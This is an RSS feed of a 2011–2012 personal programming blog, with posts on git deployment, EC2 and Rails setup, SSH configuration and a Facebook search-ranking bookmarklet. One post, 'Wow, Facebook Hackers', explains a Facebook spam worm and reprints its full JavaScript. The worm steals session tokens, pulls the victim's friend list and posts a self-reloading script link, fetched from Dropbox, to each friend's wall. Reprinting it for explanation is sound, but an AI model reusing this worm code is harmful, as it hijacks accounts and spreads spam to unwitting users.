<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>thekeesh.com &#187; Computer Science</title>
	<atom:link href="http://thekeesh.com/category/computer-science/feed/" rel="self" type="application/rss+xml" />
	<link>http://thekeesh.com</link>
	<description>Not just another WordPress site</description>
	<lastBuildDate>Tue, 03 Apr 2012 05:30:30 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Lightweight Deployment With Git</title>
		<link>http://thekeesh.com/2012/01/lightweight-deployment-with-git/</link>
		<comments>http://thekeesh.com/2012/01/lightweight-deployment-with-git/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 00:39:54 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=427</guid>
		<description><![CDATA[I&#8217;ve used this setup so many times now that I wanted to write up a list post explaining how I do it. This method is something I found on this site, but I just wanted to add my own commentary. &#8230; <a href="http://thekeesh.com/2012/01/lightweight-deployment-with-git/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve used this setup so many times now that I wanted to write up a list post explaining how I do it. This method is something I found on <a href="http://toroid.org/ams/git-website-howto">this site</a>, but I just wanted to add my own commentary.</p>
<p>The idea is that you are developing a website locally using git, and you want to be able to easily push to your live site with git. We will set up a remote repository on your server, and push to it.</p>
<p>Let&#8217;s say you have your local repository already set up. Log on to your remote machine. Navigate to a directory where you want to keep your repository. This does not necessarily need to be the same location as your code, and you actually probably want it to be a different place.</p>
<pre>
### On the remote machine
corn03:/afs/ir/group/paperless2> mkdir repo.git &#038;&#038; cd repo.git
corn03:/afs/ir/group/paperless2/repo.git> git init --bare
Initialized empty Git repository in /afs/ir.stanford.edu/group/paperless2/repo.git/
</pre>
<p>The way this is going to work, is that we are going to create a <a href="http://book.git-scm.com/5_git_hooks.html">post-receive hook</a>. A post-receive hook means you can run some script after this repo has received a push. What we are doing here is checking out the current code to some directory, which we define as the GIT_WORK_TREE. You can make the GIT_WORK_TREE wherever you want. Then we make the script executable.</p>
<pre>
corn03:/afs/ir/group/paperless2/repo.git> cat > hooks/post-receive
#!/bin/sh
GIT_WORK_TREE=/afs/ir/group/paperless2/cgi-bin git checkout -f
corn03:/afs/ir/group/paperless2/repo.git> chmod +x hooks/post-receive
</pre>
<p>Now, on your local machine, add the remote you want to push to. On this first one, make sure you include the branch you are including, like master.</p>
<pre>
## Locally
> git remote add web ssh://jkeeshin@corn23.stanford.edu/afs/ir/group/paperless2/repo.git
> git push web master
</pre>
<p>For any future updates</p>
<pre>
> git push web
</pre>
<p>It&#8217;s pretty basic, easy to use, and works for lightweight deployment for a site by yourself or with a few other people.</p>
<p>The only issue I had was one time, my internet connection went down in the middle of deployment and the git process crashed. Then the next time I tried to push, nothing happened. After a little bit of searching, the fix was that there was a file &#8220;index.lock&#8221; that was created, and once we removed that file, it worked again.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2012/01/lightweight-deployment-with-git/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Jitterbunk. Bunk Your Friends.</title>
		<link>http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/</link>
		<comments>http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/#comments</comments>
		<pubDate>Sun, 21 Aug 2011 23:36:00 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Funny]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[jitterbunk]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=354</guid>
		<description><![CDATA[If you read tech news or startup news, you are probably numb to it. &#8220;Here is a new startup that will revolutionize our daily lives.&#8221; &#8220;This site promises to forever change the way we communicate.&#8221; &#8220;This one is a new &#8230; <a href="http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://jitterbunk.com"><img src="http://jitterbunk.com/static/images/logo.png" width="550" /></a></p>
<p>If you read tech news or startup news, you are probably numb to it.</p>
<p>&#8220;Here is a new startup that will revolutionize our daily lives.&#8221;<br />
&#8220;This site promises to forever change the way we communicate.&#8221;<br />
&#8220;This one is a new twist on local deals.&#8221;<br />
&#8220;You can watch videos or listen to music&#8212;but with your friends.&#8221;</p>
<p>This list keeps going. But that&#8217;s why <a href="http://raunk.com">we&#8217;ve</a> built <a href="http://jitterbunk.com">jitterbunk</a>. We did away with all the fluff of new social sites and created a site where you can simply bunk your friends. </p>
<p>Read more about <a href="http://stanfordflipside.com/2011/02/stanford-students-found-revolutionary-startup-that-does-nothing/">the founding of jitterbunk here.</a></p>
<p>If you like <a href="http://jitterbunk.com">jitterbunk</a>, you&#8217;ll definitely like <a href="http://raunk.com">raunk.</a></p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/08/jitterbunk-bunk-your-friends/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>If you thought that was interesting&#8230;</title>
		<link>http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/</link>
		<comments>http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/#comments</comments>
		<pubDate>Sat, 20 Aug 2011 03:10:54 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Internet]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=343</guid>
		<description><![CDATA[Then head over to raunk.com. This is the startup I&#8217;ve been working on this summer with four friends. It&#8217;s a site where you can rate anything, and from the ratings, see best-of lists from different perspectives. Since the best-of lists &#8230; <a href="http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://raunk.com"><img src="http://thekeesh.com/wp-content/uploads/2011/08/Screen-shot-2011-08-19-at-8.29.28-PM.png" alt="" title="Screen shot 2011-08-19 at 8.29.28 PM" width="550" /></a></p>
<p>Then head over to <a href="http://raunk.com">raunk.com</a>. This is the startup I&#8217;ve been working on this summer with four friends. It&#8217;s a site where you can rate anything, and from the ratings, see best-of lists from different perspectives. Since the best-of lists are generated dynamically and from tags, we can generate really amazing and specific lists.</p>
<p>Let me give you a few examples:</p>
<p><a href="http://raunk.com/list/1094?filter=5,4">Best Programming Languages According To Stanford Computer Science Majors</a><br />
<a href="http://raunk.com/list/53?filter=u2">Best Movies According to Me</a><br />
<a href="http://raunk.com/list/1941,1942,1943?filter=u3,u6">Best Season 8 Curb Your Enthusiasm Episodes According to my friends Zach and Daniel</a><br />
<a href="http://raunk.com/list/268?filter=u34">Best Books According to my friend Eric</a><br />
<a href="http://raunk.com/list/697,1221,1916">Best Free Mac Software According to Everyone</a><br />
<a href="http://raunk.com/list/1069,764?filter=u4">Best Harry Potter Characters According to my friend David</a></p>
<p>Let me explain why this site has the potential to be an amazing resource for you:</p>
<p>There already are many sites that rate things and review things&#8211;but most of these are for very common areas such as movies and restaurants. However, it is very common to start googling for the &#8220;best something.&#8221; But often you are looking for something that doesn&#8217;t have a review community like the <a href="http://raunk.com/list/2057">Best Domain Name Registrars</a> or the <a href="http://raunk.com/list/669,687">Best Stanford Traditions.</a></p>
<p>These are things I&#8217;ve been looking for recently. Our hope with raunk is that if we can can create a platform where people can rate anything, then raunk can be the primary resource for any specific list you have. If you <a href="http://www.google.com/search?sourceid=chrome&#038;ie=UTF-8&#038;q=best+domain+name+registrars">look up best domain name registrars on google</a>, what you&#8217;ll find at the top is just a blog post. What would be more helpful to me is if I could see the opinion of the internet, experts in this area, and people whose opinions I respect. </p>
<p>If you head over to raunk.com and check it out, send me an email and let me know what you think, or comment here.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/08/if-you-thought-that-was-interesting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Who Does Facebook Think You Are Searching For?</title>
		<link>http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/</link>
		<comments>http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/#comments</comments>
		<pubDate>Thu, 18 Aug 2011 02:18:26 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[search results]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=294</guid>
		<description><![CDATA[========================================== UPDATE February 14, 2012: Many people have noted that Facebook has changed stuff in the last several months and so the bookmarklet broke. I have updated it to work on the new filename Facebook is using, and also to &#8230; <a href="http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong><br />
==========================================<br />
UPDATE February 14, 2012: Many people have noted that Facebook has changed stuff in the last several months and so the bookmarklet broke. I have updated it to work on the new filename Facebook is using, and also to match the protocol you are browsing on. Drag this link to your bookmarks bar and click it when you are on Facebook. You may have to click it twice to work.</p>
<p><a class="bookmarklet-links" href="#" title="Facebook Friends" name="Facebook Friends" alt="Facebook Friends">Facebook Friends Rankings</a><br />
==========================================<br />
</strong></p>
<p>Have you ever wondered how Facebook orders your search results? Clearly they have some ordering about who they think you are looking for, and they seem to guess pretty well. I can only guess, but it seems like they order it based on who you interact with, whose profile you look at and who you have recently become friends with. </p>
<p>Well Facebook gives explicit numbers to the directed edges (connection going from you to your friend), about how much they think you are looking for this person. I wrote a bookmarklet that makes it easy to see this list. Although you already know who you look at most, it is eerie to see the list they have come up with&#8212;and the numbers they give. The more negative the number, the more Facebook thinks you are looking for them.</p>
<p>To try it out, just drag the image here up to your browser&#8217;s bookmark bar. Then go to Facebook and click the bookmarklet. More explanation below.</p>
<h2>Note: This is really interesting, but may be embarrassing to you.</h2>
<p><a id="bookmarklet-link" class="bookmarklet-links" title="Facebook Friends" name="Facebook Friends" href="" onclick="alert('Just drag this into your bookmark bar and click OK'); return false;"><img src="http://thekeesh.com/wp-content/uploads/2011/08/drag_bookmarklet.png" alt="Facebook Friends" title="Drag this image into your bookmark bar." width="435" height="287" /></a></p>
<p>Try dragging this link if the image doesn&#8217;t work for you.<br />
<a class="bookmarklet-links" href="#" title="Facebook Friends" name="Facebook Friends" alt="Facebook Friends">Facebook Friends</a></p>
<p>Tested on Chrome, Firefox, and Safari. If bookmarklet does not work on chrome, just try creating a new bookmark with the javascript as the url.</p>
<p>(Note: If you have https on, it won&#8217;t work. You can disable it temporarily by going to Account Settings/Security/Secure Browsing.)</p>
<h2>How We Discovered this Link</h2>
<p>We were working on our autocomplete search for the website we are building this summer called <a href="http://raunk.com">raunk.com</a> and we were wondering why our autocomplete was so slow. If we typed fast, we could type faster than the results would show up. I thought, &#8220;Maybe I just type really fast, faster than the results can load.&#8221; We then checked Facebook. If we typed faster than Facebook autocomplete then it had to be okay. Well we started typing, and no matter how fast we typed, they already had results showing up.</p>
<p>How did they do this? Were their servers just that much faster than ours? (They are that much faster than ours.) But what turned out to be the difference was this file that they were preloading called first_degree.php. If you open up the Network panel in the Chrome Inspector or Firebug, you can see this file being requested asynchronously. Select XHR to only see AJAX requests.</p>
<p><a href="http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/screen-shot-2011-08-17-at-5-56-52-pm/" rel="attachment wp-att-298"><img src="http://thekeesh.com/wp-content/uploads/2011/08/Screen-shot-2011-08-17-at-5.56.52-PM.png" alt="" title="Screen shot 2011-08-17 at 5.56.52 PM" width="550" /></a></p>
<p>Well in this file there is a lot of great information. It&#8217;s just JSON. There are probably two files, one which loads your first degree friends, and one which loads your &#8220;first degree&#8221; pages and events. Well if you open up the JSON file you will see, an ordered list of who Facebook thinks you are looking for. </p>
<p>Basically, you will find a list which is mostly who Facebook thinks you are Facebook stalking. And if you expand the entry you will see a field called &#8216;index&#8217;. &#8216;index&#8217; is the number they give to that edge. The lower the number the earlier they show up on your search results.</p>
<p>And this stuff is all client-side, so it is all visible to you, and most likely will be for quite some time. This list is surprisingly interesting to check every now and then, and it will make you wonder how their algorithm is working and how those people go there.</p>
<h2>Other Interesting Parts of this File</h2>
<p>If you look a little more at this file you will find lots of other interesting information. There is an optional field that shows up in some results called &#8216;tokens&#8217;. This &#8216;tokens&#8217; field stores common aliases to your friend&#8217;s name. For example, I have a friend named Michael, and his tokens says &#8216;mike&#8217;. My brothers is named Zach, but his tokens says &#8216;Brother&#8217;. Under Daniel it has &#8216;dan danny&#8217;. So look through the tokens, and find a friend who has a token that is not all close to his or her name. If you search it, you&#8217;ll notice that your friend will come up. That&#8217;s how it works. These are just common aliases for the name&#8211;not ones specific to your friend.</p>
<h2>How the Bookmarlet Works</h2>
<p>Here is how the bookmarklet works: It creates a script element on the page, gets a javascript file from my blog, and this file makes a request to the file first_degree.php with the correct parameters, and then it displays the results formatted nicely on your page. </p>
<p><b>UPDATE: Thanks for all the comments and feedback! I really appreciate and am glad you found the bookmarklet interesting and entertaining. If you&#8217;d like to contact me about the bookmarklet or about our website raunk.com, just shoot me an email or find me on Twitter <a href="http://twitter.com/jkeesh">@jkeesh</a>.</b></p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/08/who-does-facebook-think-you-are-searching-for/feed/</wfw:commentRss>
		<slash:comments>410</slash:comments>
		</item>
		<item>
		<title>Ethical Adventure Game</title>
		<link>http://thekeesh.com/2011/06/ethical-adventure-game/</link>
		<comments>http://thekeesh.com/2011/06/ethical-adventure-game/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 08:22:48 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Funny]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=268</guid>
		<description><![CDATA[. Check out the cs181 final project that we just made. It&#8217;s a text based adventure game, with a little console in the browser where you can explore some history and cases relating to press freedom for bloggers. Play the &#8230; <a href="http://thekeesh.com/2011/06/ethical-adventure-game/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><img src="http://thekeesh.com/wp-content/uploads/2011/06/Screen-shot-2011-06-03-at-1.18.08-AM.png" alt="" title="Screen shot 2011-06-03 at 1.18.08 AM" width="731" height="386" class="alignnone size-full wp-image-267" /></a>.</p>
<p>Check out the cs181 final project that we just made. It&#8217;s a text based adventure game, with a little console in the browser where you can explore some history and cases relating to press freedom for bloggers.</p>
<p><a href="http://stanford.edu/~jkeeshin/adventure/">Play the Game Here</a></p>
<p>project by me, <a href="http://ericwconner.com/">Eric Conner</a>, and <a href="http://www.zachgalant.com/">Zach Galant</a>.</p>
<p>Browse the code on <a href="https://github.com/jkeesh/adventure">github</a><a href="http://thekeesh.com/?attachment_id=267" rel="attachment wp-att-267"></p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/06/ethical-adventure-game/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>rails from scratch on ubuntu 11.04</title>
		<link>http://thekeesh.com/2011/05/rails-from-scratch-on-ubuntu-11-04/</link>
		<comments>http://thekeesh.com/2011/05/rails-from-scratch-on-ubuntu-11-04/#comments</comments>
		<pubDate>Mon, 30 May 2011 08:45:26 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=258</guid>
		<description><![CDATA[I will try and go through how I set up Ruby on Rails on a new ec2 instance. I will include in my explanation the errors I faced along the way and how I solved them in the hope that &#8230; <a href="http://thekeesh.com/2011/05/rails-from-scratch-on-ubuntu-11-04/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I will try and go through how I set up Ruby on Rails on a new ec2 instance. I will include in my explanation the errors I faced along the way and how I solved them in the hope that showing the wrong way and then the right way is more helpful than just the right way.</p>
<p>Ok.</p>
<p>Change the permissions on your key and use it to ssh into your ec2 instance.</p>
<pre>
$ chmod 600 mykey.pem
$ ssh -i mykey.pem root@####.uswest-1.compute.amazonaws.com
</pre>
<pre>
$ cat /etc/*-release
</pre>
<p>To find your system information</p>
<p>Let&#8217;s start of by installing ruby.</p>
</pre>
<p>$ sudo apt-get install ruby<br />
$ ruby -v
</pre>
<p>Next we'll get ruby gems.</p>
<pre>
wget http://production.cf.rubygems.org/rubygems/rubygems-1.7.2.tgz
tar xzf rubygems-1.7.2.tgz
cd rubygems-1.7.2/
sudo ruby setup.rb

RubyGems installed the following executables:
	/usr/bin/gem1.8
</pre>
<p>Let's see if we can check what version of ruby gems we have.</p>
<pre>
$ gem -v

The program 'gem' is currently not installed.
</pre>
<pre>
$ gem1.8 -v
 1.7.2
</pre>
<p>We need a symlink</p>
<pre>
$ sudo ln -s /usr/bin/gem1.8 /usr/bin/gem
$ gem -v
 1.7.2
</pre>
<p>Now let's install rails.</p>
<pre>
$ sudo gem update --system
$ sudo gem install rails

$ rails --version
 Rails 3.0.7
</pre>
<p>Now the mysql server, if you want to use it later.</p>
<pre>
$ sudo apt-get install mysql-server
</pre>
<p>Us this to access the mysql server. -p will prompt you for the password</p>
<pre>
$ mysql -uroot -p
</pre>
<p>Install git</p>
<pre>
$ sudo apt-get install git-core
</pre>
<p>Install apache</p>
<pre>
$ sudo aptitude install apache2
</pre>
<p>Now I'm going to make a small change to the configuration so you can see something on the web.</p>
<pre>
$ cd /etc/apache2
$ sudo vim apache2.conf
</pre>
<p>uncomment this line</p>
<pre>
ServerRoot "/etc/apache2"
</pre>
<p>Restart the server</p>
<pre>
$ sudo /etc/init.d/apache2 restart
</pre>
<p>Now visit your website!</p>
<p>http://ec2-#####.us-west-1.compute.amazonaws.com/</p>
<p>There should be something there, probably the basic apache starter page.</p>
<p>Now I'm going to try and install a rails app.</p>
<pre>
$ cd /var/www
$ sudo find . -exec chown ubuntu {} ;
</pre>
<p>Here I changed to the directory where I will have my website files, and changed the ubuntu user (which I was logged in as) to get owner permissions here instead of root.</p>
<pre>
$ rails new blog
$ cd blog
$ bundle install
</pre>
<p>Errors!</p>
<pre>
        /usr/bin/ruby1.8 extconf.rb
extconf.rb:3:in `require': no such file to load -- mkmf (LoadError)
	from extconf.rb:3
</pre>
<p>Solution:</p>
<pre>
$ sudo apt-get install ruby-dev
</pre>
<p>Now try again. This was what I eventually did to get it to work. It's possible you just may need to run "sudo bundle install." But we'll never know. Especially since every server configuration is very different.</p>
<pre>
$ bundle install
$ sudo apt-get install libsqlite3-dev
$ sudo apt-get install make
$ sudo gem install sqlite3-ruby --version=1.2.5
$ sudo gem install sqlite3
$ bundle install
</pre>
<p>Now I want to see if I can see the basic rails site from webrick default rails server.</p>
<pre>
$ rails server
</pre>
<p>visit</p>
<p>http://ec2-#####.us-west-1.compute.amazonaws.com:3000</p>
<p>Rails is installed. You really would set up a production server using mod_rails, but this is a first step! </p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/05/rails-from-scratch-on-ubuntu-11-04/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Setting up User Accounts, Password Authentication, and SSH Keys on a New EC2 Instance</title>
		<link>http://thekeesh.com/2011/05/setting-up-user-accounts-password-authentication-and-ssh-keys-on-a-new-ec2-instance/</link>
		<comments>http://thekeesh.com/2011/05/setting-up-user-accounts-password-authentication-and-ssh-keys-on-a-new-ec2-instance/#comments</comments>
		<pubDate>Fri, 13 May 2011 09:19:39 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[amazonaws]]></category>
		<category><![CDATA[config]]></category>
		<category><![CDATA[ec2]]></category>
		<category><![CDATA[server setup]]></category>
		<category><![CDATA[sshd]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=239</guid>
		<description><![CDATA[Based on an article from: http://blog.taggesell.de/index.php?/archives/73-Managing-Amazon-EC2-SSH-login-and-protecting-your-instances.html After you have created your instance: Save the Public DNS, it looks something like ec2-########-compute.amazonaws.com After you have your keypair, run this command $ ssh -i mykeypair.pem ubuntu@ec2-##########.compute-1.amazonaws.com You should be in now. Cool. &#8230; <a href="http://thekeesh.com/2011/05/setting-up-user-accounts-password-authentication-and-ssh-keys-on-a-new-ec2-instance/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Based on an article from: <a href="http://blog.taggesell.de/index.php?/archives/73-Managing-Amazon-EC2-SSH-login-and-protecting-your-instances.html">http://blog.taggesell.de/index.php?/archives/73-Managing-Amazon-EC2-SSH-login-and-protecting-your-instances.html</a></p>
<p>After you have created your instance:</p>
<p>Save the Public DNS, it looks something like ec2-########-compute.amazonaws.com</p>
<p>After you have your keypair, run this command</p>
<pre>$ ssh -i mykeypair.pem ubuntu@ec2-##########.compute-1.amazonaws.com</pre>
<p>You should be in now. Cool.</p>
<p>Now set yourself up your own user account.</p>
<pre>adduser jkeesh</pre>
<p>Adduser is the one you want, that sets up with proper options. The first time I wrote this I used useradd.</p>
<p>(old version)</p>
<pre>$ sudo useradd -m jkeesh</pre>
<p>-m creates a home directory for the user</p>
<pre>$ sudo passwd jkeesh</pre>
<p>(end old version)</p>
<p>But you&#8217;re cool. You can be root to.</p>
<pre>$ sudo visudo</pre>
<p>under the line</p>
<pre>root	ALL=(ALL) ALL</pre>
<p>add yourself</p>
<pre>jkeesh	ALL=(ALL) ALL</pre>
<p>Just to show you that you can, enable password authentication</p>
<pre>$ sudo vim /etc/ssh/sshd_config</pre>
<p>and write (or uncomment)</p>
<pre>PasswordAuthentication yes</pre>
<p>Now reload that ssh configuration</p>
<pre>$ sudo /etc/init.d/ssh reload</pre>
<p>Now try logging out and logging back in with your new username, just to see that it worked.</p>
<pre>$ ssh jkeesh@ec2-#######-compute.amazonaws.com</pre>
<p>And run some sudo command to see that it worked too.</p>
<pre>$ sudo your-favorite-command-that-you-can-only-do-with-special-privileges</pre>
<p>Now make well set up the public/private key so you can get rid of this password authentication nonsense.</p>
<p>If you have a public key called id_rsa.pub use scp to get it onto the server:</p>
<pre>local$ scp ~/.ssh/id_rsa.pub jkeesh@ec2-#####.compute-1.amazonaws.com:/home/jkeesh</pre>
<p>Now we will put it in the right place. You should be adding this key to the user&#8217;s authorized_keys file, but we don&#8217;t have that file yet, so we&#8217;ll just move it and set permissions.</p>
<pre>$ mkdir .ssh
$ mv id_rsa.pub .ssh/authorized_keys
$ chmod 700 .ssh
$ chmod 600 .ssh/authorized_keys</pre>
<p>Now you should be able to log in to your server without a password. Try it:</p>
<pre>$ ssh jkeesh@ec2-#######.compute-1.amazonaws.com</pre>
<p>At this point, if you are in, we can disable password authentication. We will also disable root login, for security.</p>
<pre>$ sudo vim /etc/ssh/sshd_config</pre>
<p>Find the lines for PasswordAuthentication and PermitRootLogin and change to no.</p>
<pre>PasswordAuthentication no
..
PermitRootLogin no

$ sudo /etc/init.d/ssh reload</pre>
<p>Thats a little bit for now on creating user accounts, changing ssh settings, and setting up public keys.</p>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/05/setting-up-user-accounts-password-authentication-and-ssh-keys-on-a-new-ec2-instance/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Wow, Facebook Hackers</title>
		<link>http://thekeesh.com/2011/05/wow-facebook-hackers/</link>
		<comments>http://thekeesh.com/2011/05/wow-facebook-hackers/#comments</comments>
		<pubDate>Thu, 12 May 2011 07:06:07 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[spam]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=219</guid>
		<description><![CDATA[So I saw a post on my wall from a friend, but something just didn&#8217;t sound right. Again, it was a case of the Facebook spam that somehow tricked you into posting something you didn&#8217;t want to post to all &#8230; <a href="http://thekeesh.com/2011/05/wow-facebook-hackers/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://thekeesh.com/2011/05/wow-facebook-hackers/spam/" rel="attachment wp-att-222"><img src="http://thekeesh.com/wp-content/uploads/2011/05/spam.png" alt="" title="spam"  /></a></p>
<p>So I saw a post on my wall from a friend, but something just didn&#8217;t sound right. Again, it was a case of the Facebook spam that somehow tricked you into posting something you didn&#8217;t want to post to all of your friends. And many people made the mistake, and it spread fast.</p>
<p>Mainly, it is impressive that these Facebook hackers were able to come up with this. It shows you how difficult of a problem security is for a big company like Facebook. </p>
<p>The hack was that they made a link which appeared to be from Facebook say &#8220;Remove this App&#8221; right next to common actions like &#8220;Like&#8221; or &#8220;Comment.&#8221; But this link was a link to a malicious piece of javascript which got a file from Dropbox and copied this post onto the walls of your friends. </p>
<p>I went to look at the file&#8230; which was here, http://dl.dropbox.com/u/10505629/verify.js. But then I went back and Dropbox had apparently taken it down about two minutes later. A fast response&#8211;but this message had probably already been replicated, idk, a hundred thousand times?</p>
<p>It seems to have been low damage, but it raises interesting security questions when people believe so readily the information that comes from their friends&#8217; Facebook accounts. I just heard yesterday a case where a friend&#8217;s mom&#8217;s account had sent out a message about needing help and wiring money&#8211;and people fell for it.</p>
<p>I&#8217;m posting the js code below, since it is now not accessible &#8212; but with the swearing removed.</p>
<p>==== verify.js ======</p>
<pre>
var message = "-------------------- I hate you and the only way to remove all these posts is by disabling this below.";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://dl.dropbox.com/u/10505629/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "Remove This App";

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(d+)/)[1]);

var friends = new Array();
gf = new XMLHttpRequest();
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&#038;filter[0]=user&#038;viewer=" + uid + "&#038;"+Math.random(),false);
gf.send();
if(gf.readyState!=4){ }else{
	data = eval('(' + gf.responseText.substr(9) + ')');
	if(data.error){ }else{
		friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
	}
}
for(var i=0 ; i < friends.length ;  i++) {
</pre>
<pre>
	var httpwp = new XMLHttpRequest();
	var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
	var paramswp = "&#038;__d=1&#038;app_id=6628568379&#038;extern=0&#038;" +
				   "&#038;post_form_id=" + post_form_id +
				   "&#038;fb_dtsg=" + fb_dtsg +
				   "&#038;feed_info[action_links][0][href]=" + encodeURIComponent(jsText) +
				   "&#038;feed_info[action_links][0][text]=" + encodeURIComponent(myText) +
				   "&#038;feed_info[app_has_no_session]=true&#038;feed_info[body_general]=&#038;feed_info[template_id]=60341837091&#038;feed_info[templatized]=0&#038;feed_target_type=target_feed&#038;feedform_type=63&#038;lsd&#038;nctr[_ia]=1&#038;post_form_id_source=AsyncRequest&#038;preview=false&#038;size=2&#038;to_ids[0]=" + friends[i].uid +
				   "&#038;user_message=" + message;
	httpwp.open("POST", urlwp, true);
	httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
	httpwp.setRequestHeader("Content-length", paramswp.length);
	httpwp.setRequestHeader("Connection", "keep-alive");
	httpwp.onreadystatechange = function(){
		if (httpwp.readyState == 4 &#038;&#038; httpwp.status == 200){

		}
	}
	httpwp.send(paramswp);
}
alert("Failed to remove. ----------");
document.location = "";
</pre>
]]></content:encoded>
			<wfw:commentRss>http://thekeesh.com/2011/05/wow-facebook-hackers/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>mod_rewrite reminder</title>
		<link>http://thekeesh.com/2011/04/mod_rewrite-reminder/</link>
		<comments>http://thekeesh.com/2011/04/mod_rewrite-reminder/#comments</comments>
		<pubDate>Wed, 20 Apr 2011 08:04:21 +0000</pubDate>
		<dc:creator>Jeremy Keeshin</dc:creator>
				<category><![CDATA[Computer Science]]></category>

		<guid isPermaLink="false">http://thekeesh.com/?p=217</guid>
		<description><![CDATA[I was trying to get mod_rewrite working on my WordPress blog which is on a server I set up. Except it just didn&#8217;t work. Solution (which you can find on the internet, but not that easily if you don&#8217;t know &#8230; <a href="http://thekeesh.com/2011/04/mod_rewrite-reminder/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>I was trying to get mod_rewrite working on my WordPress blog which is on a server I set up. Except it just didn&#8217;t work. Solution (which you can find on the internet, but not that easily if you don&#8217;t know what to look for) is that in your httpd.conf file, you need to make sure that you have set AllowOverride to be something other than None. If it is None, which is the default, then any rewrite rules you have in your .htaccess file won&#8217;t work! </p>
<p>So just a reminder, if for some silly reason mod_rewrite isn&#8217;t working.</p>
